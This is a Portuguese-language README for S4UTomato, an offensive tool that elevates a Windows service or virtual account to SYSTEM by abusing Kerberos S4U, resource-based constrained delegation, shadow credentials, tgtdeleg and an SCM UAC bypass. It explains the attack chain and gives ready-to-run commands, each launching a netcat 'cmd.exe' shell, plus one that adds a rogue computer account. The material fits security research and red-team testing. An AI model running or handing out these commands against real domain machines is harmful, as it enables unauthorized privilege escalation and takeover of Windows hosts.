wh0amitz/s4utomatoElevar Conta de Serviço para LocalSystem via Kerberos
Elevar Conta de Serviço para LocalSystem via Kerberos.
Amigos familiarizados com a série de elevação de privilégio "Potato" devem saber que ela pode elevar privilégios de conta de serviço para privilégios de sistema local. As técnicas de exploração iniciais do "Potato" são quase idênticas: aproveitar certas funcionalidades de interfaces COM, enganar a conta NT AUTHORITY\SYSTEM para conectar e autenticar em um servidor RPC controlado pelo atacante. Em seguida, por meio de uma série de chamadas de API, um ataque intermediário (NTLM Relay) é executado durante esse processo de autenticação, resultando na geração de um token de acesso para a conta NT AUTHORITY\SYSTEM no sistema local. Por fim, esse token é roubado e a função CreateProcessWithToken() ou CreateProcessAsUser() é usada para passar o token e criar um novo processo, obtendo privilégios SYSTEM.
Em um ambiente de domínio Windows, as contas SYSTEM, NT AUTHORITY\NETWORK SERVICE e contas virtuais da Microsoft são usadas para autenticação por contas de computador do sistema que estão associadas ao domínio. Entender isso é crucial porque, em versões modernas do Windows, a maioria dos serviços Windows é executada por padrão usando contas virtuais da Microsoft. Notavelmente, IIS e MSSQL usam essas contas virtuais, e acredito que outros aplicativos também possam empregá-las. Portanto, podemos abusar da extensão S4U para obter o tíquete de serviço da conta de administrador do domínio "Administrator" na máquina local. Em seguida, com a ajuda do SCMUACBypass de James Forshaw (@tiraniddo), podemos usar esse tíquete para criar um serviço de sistema e obter privilégios SYSTEM. Isso alcança o mesmo efeito que os métodos tradicionais usados na família de técnicas de elevação de privilégio "Potato".
Em qualquer cenário onde uma máquina esteja associada a um domínio, você pode aproveitar as técnicas mencionadas para elevação local de privilégio, desde que possa executar código no contexto de uma conta de serviço Windows ou de uma conta virtual da Microsoft, contanto que o Active Directory não tenha sido endurecido para se defender completamente contra tais ataques.
Antes disso, precisamos obter um TGT (Ticket Granting Ticket) para a conta da máquina local. Isso não é fácil por causa das restrições impostas pelas permissões da conta de serviço, impedindo-nos de obter a chave de longo prazo do computador e, consequentemente, de construir uma solicitação KRB_AS_REQ. Para alcançar o objetivo mencionado, aproveitei três técnicas: Delegação Restrita Baseada em Recursos, Credenciais Sombra e Tgtdeleg. Construí meu projeto com base no conjunto de ferramentas Rubeus.
C:\Users\whoami\Desktop>S4UTomato.exe --help
S4UTomato 1.0.0-beta
Copyright (c) 2023
-d, --Domain Domain (FQDN) to authenticate to.
-s, --Server Host name of domain controller or LDAP server.
-m, --ComputerName The new computer account to create.
-p, --ComputerPassword The password of the new computer account to be created.
-f, --Force Forcefully update the 'msDS-KeyCredentialLink' attribute of the computer
object.
-c, --Command Program to run.
-v, --Verbose Output verbose debug information.
--help Display this help screen.
--version Display version information.
S4UTomato.exe rbcd -m NEWCOMPUTER -p pAssw0rd -c "nc.exe 127.0.0.1 4444 -e cmd.exe"
S4UTomato.exe shadowcred -c "nc 127.0.0.1 4444 -e cmd.exe" -f
# First retrieve the TGT through Tgtdeleg
S4UTomato.exe tgtdeleg
# Then run SCMUACBypass to obtain SYSTEM privilege
S4UTomato.exe krbscm -c "nc 127.0.0.1 4444 -e cmd.exe"
